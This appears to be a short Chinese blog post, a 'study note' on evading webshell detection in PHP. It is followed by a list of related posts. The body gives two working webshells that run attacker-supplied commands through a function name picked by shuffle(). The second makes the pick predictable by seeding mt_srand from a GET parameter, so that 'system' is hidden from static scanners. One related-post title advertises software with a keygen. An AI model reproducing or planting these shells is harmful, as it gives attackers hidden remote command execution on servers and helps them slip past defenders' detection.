记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
C澒几秒前
前端监控系统的最佳实践
前端·安全·运维开发
修修修也5 分钟前
【无标题】技术欲望是怎样渐进增长的?
学习
whale fall19 分钟前
celery -A tool.src.main worker --loglevel=info --queues=worker1_queue & 什么意思
python·学习·apache
wotaifuzao1 小时前
【Keil 5安装】keil 5最新版本安装+环境配置+下载百度资源分享(安装包,注册机等)
stm32·单片机·嵌入式硬件·mcu·学习·keil5·最新keil
C澒2 小时前
SGW 接入层运维实战:配置查看 + 监控分析 + 日志排查
前端·安全·运维开发
Noontec2 小时前
铁威马F4-425Plus提供专属于创作者的解决方案
安全·网络存储·铁威马nas
emma羊羊3 小时前
【AI技术安全】
网络·人工智能·安全
3108748763 小时前
0005.C/C++学习笔记5
c语言·c++·学习
缘友一世3 小时前
张量并行和流水线并行原理深入理解与思考
学习·llm·pp·tp
楼田莉子3 小时前
C++现代特性学习:C++14
开发语言·c++·学习·visual studio